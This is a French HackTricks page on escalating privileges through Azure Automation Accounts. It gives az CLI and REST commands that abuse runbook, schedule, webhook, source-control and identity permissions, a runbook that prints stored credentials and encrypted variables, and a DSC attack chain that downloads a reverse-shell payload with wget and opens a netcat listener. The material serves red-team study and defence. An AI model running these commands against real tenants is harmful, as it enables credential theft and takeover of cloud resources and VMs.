Az - Azure Automation Accounts Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Azure Automation Accounts

Pour plus d’informations, voir :

Az - Automation Accounts

Hybrid Workers Group

  • De l’Automation Account vers la VM

N’oubliez pas que si, d’une maniĂšre ou d’une autre, un attaquant peut exĂ©cuter un runbook arbitraire (code arbitraire) dans un hybrid worker, il pourra pivot vers l’emplacement de la VM. Cela peut ĂȘtre une machine on-premise, un VPC d’un cloud diffĂ©rent ou mĂȘme une Azure VM.

De plus, si le hybrid worker s’exĂ©cute dans Azure avec d’autres Managed Identities attachĂ©es, le runbook pourra accĂ©der Ă  la managed identity du runbook et Ă  toutes les managed identities de la VM via le metadata service.

Tip

Rappelez-vous que le metadata service a une URL diffĂ©rente (http://169.254.169.254) du service depuis lequel on obtient le token des Managed Identities de l’Automation Account (IDENTITY_ENDPOINT).

  • De la VM vers l’Automation Account

De plus, si quelqu’un compromet une VM oĂč s’exĂ©cute un script d’Automation Account, il pourra localiser les mĂ©tadonnĂ©es de l’Automation Account et y accĂ©der depuis la VM pour obtenir des tokens pour les Managed Identities attachĂ©es Ă  l’Automation Account.

Comme on peut le voir dans l’image suivante, en ayant un accĂšs Administrator sur la VM, il est possible de trouver dans les environment variables of the process l’URL et le secret permettant d’accĂ©der au automation account metadata service :

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)

En rĂ©sumĂ©, ces permissions permettent de crĂ©er, modifier et exĂ©cuter des Runbooks dans l’Automation Account, ce que vous pouvez utiliser pour exĂ©cuter du code dans le contexte de l’Automation Account, escalader les privilĂšges vers les Managed Identities assignĂ©es et leak des credentials et des encrypted variables stockĂ©s dans l’Automation Account.

La permission Microsoft.Automation/automationAccounts/runbooks/draft/write permet de modifier le code d’un Runbook dans l’Automation Account en utilisant :

# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'

Remarquez comment le script prĂ©cĂ©dent peut ĂȘtre utilisĂ© pour leak the useranmd and password d’un credential et la valeur d’une encrypted variable stockĂ©e dans l’Automation Account.

La permission Microsoft.Automation/automationAccounts/runbooks/publish/action permet Ă  l’utilisateur de publier un Runbook dans l’Automation Account pour que les modifications soient appliquĂ©es :

az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>

La permission Microsoft.Automation/automationAccounts/jobs/write permet Ă  l’utilisateur d’exĂ©cuter un Runbook dans l’Automation Account en utilisant :

az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]

La permission Microsoft.Automation/automationAccounts/jobs/output/read permet à l’utilisateur de lire la sortie d’un job dans l’Automation Account en utilisant :

az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"

S’il n’y a pas de Runbooks créés, ou si vous voulez en crĂ©er un nouveau, vous aurez besoin des permissions Microsoft.Resources/subscriptions/resourcegroups/read et Microsoft.Automation/automationAccounts/runbooks/write pour le faire en utilisant :

az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell

Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Cette permission permet à l’utilisateur d’assigner une user managed identity à l’Automation Account en utilisant :

az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'

Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write

Avec l’autorisation Microsoft.Automation/automationAccounts/schedules/write, il est possible de crĂ©er un nouveau Schedule dans l’Automation Account qui s’exĂ©cute toutes les 15 minutes (peu discret) en utilisant la commande suivante.

Notez que l’intervalle minimum pour un Schedule est de 15 minutes, et que l’heure de dĂ©but minimale est de 5 minutes dans le futur.

## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

Ensuite, avec l’autorisation Microsoft.Automation/automationAccounts/jobSchedules/write, il est possible d’affecter un Scheduler à un runbook en utilisant :

az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'

Tip

Dans l’exemple prĂ©cĂ©dent, l’ID jobchedule a Ă©tĂ© laissĂ© comme b510808a-8fdc-4509-a115-12cfc3a2ad0d Ă  titre d’exemple, mais vous devrez utiliser une valeur arbitraire pour crĂ©er cette assignation.

Microsoft.Automation/automationAccounts/webhooks/write

Avec l’autorisation Microsoft.Automation/automationAccounts/webhooks/write, il est possible de crĂ©er un nouveau Webhook pour un Runbook dans un Automation Account en utilisant l’une des commandes suivantes.

With Azure Powershell:

New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true

Avec AzureCLI et REST :

az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'

Ces commandes devraient retourner un webhook URI qui n’est affichĂ© qu’à la crĂ©ation. Ensuite, pour appeler le runbook en utilisant le webhook URI

curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"

Microsoft.Automation/automationAccounts/runbooks/draft/write

Rien qu’avec la permission Microsoft.Automation/automationAccounts/runbooks/draft/write il est possible de mettre Ă  jour le code d’un Runbook sans le publier et de l’exĂ©cuter en utilisant les commandes suivantes.

# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"

Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)

Cette autorisation permet à l’utilisateur de configurer un contrîle de version pour l’Automation Account en utilisant une commande telle que la suivante (exemple avec Github) :

az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>

Cela importera automatiquement les runbooks depuis le dĂ©pĂŽt Github vers l’Automation Account et, avec d’autres permissions pour commencer Ă  les exĂ©cuter, il serait possible to escalate privileges.

De plus, souvenez-vous que pour que source control fonctionne dans les Automation Accounts il doit avoir une managed identity avec le rĂŽle Contributor et si c’est une user managed identity le cleint id du MI doit ĂȘtre spĂ©cifiĂ© dans la variable AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.

Tip

Notez qu’il n’est pas possible de changer le repo URL d’un source control une fois qu’il est créé.

Microsoft.Automation/automationAccounts/variables/write

Avec la permission Microsoft.Automation/automationAccounts/variables/write il est possible d’écrire des variables dans l’Automation Account en utilisant la commande suivante.

az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'

Environnements d’exĂ©cution personnalisĂ©s

Si un automation account utilise un custom runtime environment, il peut ĂȘtre possible d’écraser un custom package du runtime avec du code malveillant (comme a backdoor). Ainsi, chaque fois qu’un runbook utilisant ce custom runtime est exĂ©cutĂ© et charge le custom package, le code malveillant sera exĂ©cutĂ©.

Compromettre la configuration d’état

Check the complete post in: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

  • Étape 1 — CrĂ©er les fichiers

Fichiers requis : Deux scripts PowerShell sont nécessaires :

  1. reverse_shell_config.ps1: un fichier Desired State Configuration (DSC) qui récupÚre et exécute le payload. Il est disponible sur GitHub.
  2. push_reverse_shell_config.ps1: un script pour publier la configuration sur la VM, disponible sur GitHub.

Personnalisation : Les variables et paramĂštres dans ces fichiers doivent ĂȘtre adaptĂ©s Ă  l’environnement spĂ©cifique de l’utilisateur, y compris les noms de ressources, chemins de fichiers et identifiants de serveur/payload.

  • Étape 2 — Compresser le fichier de configuration

Le fichier reverse_shell_config.ps1 est compressĂ© dans une archive .zip, prĂȘt Ă  ĂȘtre transfĂ©rĂ© vers l’Azure Storage Account.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
  • Étape 3 — DĂ©finir le contexte de stockage et tĂ©lĂ©verser

Le fichier de configuration zippĂ© est tĂ©lĂ©versĂ© dans un conteneur Azure Storage prĂ©dĂ©fini, azure-pentest, en utilisant le cmdlet Set-AzStorageBlobContent d’Azure.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
  • Étape 4 — PrĂ©parer la Kali Box

Le serveur Kali télécharge le payload RevPS.ps1 depuis un dépÎt GitHub.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1

Le script est modifié pour spécifier la Windows VM cible et le port du reverse shell.

  • Step 5 — Publish Configuration File

Le fichier de configuration est exĂ©cutĂ©, entraĂźnant le dĂ©ploiement du script reverse-shell Ă  l’emplacement spĂ©cifiĂ© sur la Windows VM.

  • Step 6 — Host Payload and Setup Listener

Un Python SimpleHTTPServer est dĂ©marrĂ© pour hĂ©berger le payload, accompagnĂ© d’un listener Netcat pour capturer les connexions entrantes.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

La tùche planifiée exécute le payload, obtenant des privilÚges au niveau SYSTEM.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks